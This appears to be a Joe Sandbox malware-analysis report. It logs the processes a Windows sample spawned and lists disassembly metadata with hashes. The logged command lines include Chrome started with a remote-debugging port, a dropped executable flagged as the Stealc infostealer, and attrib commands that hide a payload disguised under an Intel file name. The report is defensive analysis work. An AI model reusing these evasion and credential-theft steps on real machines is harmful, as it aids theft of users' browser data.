Target ID:	37
Start time:	10:16:21
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x7ff71e800000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:16:25
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe"
Imagebase:	0xa90000
File size:	2'898'944 bytes
MD5 hash:	0C5F765BC208CEEF4C1E5BB760089E83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000003.3162743621.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:16:28
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:16:29
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2464,i,17310931600461636883,12711239818056080546,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:16:30
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x870000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:16:31
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe"
Imagebase:	0xe0000
File size:	1'846'272 bytes
MD5 hash:	3D5CED88E35789A074807DD040AC05E1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:16:33
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe"
Imagebase:	0x600000
File size:	966'656 bytes
MD5 hash:	31AA561870EF5DB4E2019BA42B945990
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:16:38
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:16:38
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2844 --field-trial-handle=2600,i,3487772156772132519,12680347466969316362,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:16:40
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x870000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	10:16:41
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe"
Imagebase:	0xa90000
File size:	2'898'944 bytes
MD5 hash:	0C5F765BC208CEEF4C1E5BB760089E83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002F.00000003.3319476192.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:16:43
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe"
Imagebase:	0x350000
File size:	2'827'776 bytes
MD5 hash:	53E6A751EF422F8CE7336DB32F8F5499
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:16:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x870000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	10:16:50
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x870000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	10:16:50
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	10:16:51
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe"
Imagebase:	0x600000
File size:	966'656 bytes
MD5 hash:	31AA561870EF5DB4E2019BA42B945990
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	10:16:51
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2264,i,442136233029730373,2572777427305726788,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	10:16:53
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe"
Imagebase:	0xc40000
File size:	1'861'632 bytes
MD5 hash:	15709EBA2AFAF7CC0A86CE0ABF8E53F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	10:16:54
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x870000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	10:16:57
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff7c4340000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	10:16:57
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff77ed90000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	10:16:58
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7c4340000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	10:16:58
Start date:	21/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7c4340000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	749
Total number of Limit Nodes:	16

Executed Functions

Function 0029652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0029652A,?,?,?,?,?,00297661), ref: 00296567

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c383917e852b8c9cad1168e48f7279453658b7d0df6c2dbb1c96e685403b7030
Instruction ID: f52a4b9010b8dcda41e7b1c2eef7a5bc04c532faaa32a0246fac941239a8bcb5
Opcode Fuzzy Hash: c383917e852b8c9cad1168e48f7279453658b7d0df6c2dbb1c96e685403b7030
Instruction Fuzzy Hash: 31E0CD30060208AFCF357F58C89DD583B9AEF51745F410804FC2486121CB35ED61C9C0

Function 04C00C14 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738310661.0000000004C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b20580723e8dc3f7021f04a8870443ea0cff084e79b3f0057f44b9f92b852b6
Instruction ID: 9301654bc7527aeafde1a293bda4026960b05583d6b2565e952bba328ea4542a
Opcode Fuzzy Hash: 0b20580723e8dc3f7021f04a8870443ea0cff084e79b3f0057f44b9f92b852b6
Instruction Fuzzy Hash: C9110DEB24D220BD714281477B14BF667AFE5D673133AC427F407C6A85F2A86A497132

Function 00265C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 0026612B
00000423, xrefs: 002660FA
Keyboard Layout\Preload, xrefs: 00266054
00000419, xrefs: 00266098
00000422, xrefs: 002660C9

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 7bc1d99968535ff115bec0263245c651553e338ce747c0cc9b7e01874ff7ec84
Instruction ID: 16dfeffcce3d2b8e98638b7e223b3f4321b0af730d225f97d69e8f1e50a3dbb3
Opcode Fuzzy Hash: 7bc1d99968535ff115bec0263245c651553e338ce747c0cc9b7e01874ff7ec84
Instruction Fuzzy Hash: 4CF1E1709102589BEB24DF24CC85BDEBBB9EF45304F5042A9F509A7281DB749AE4CF90

Function 00269BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
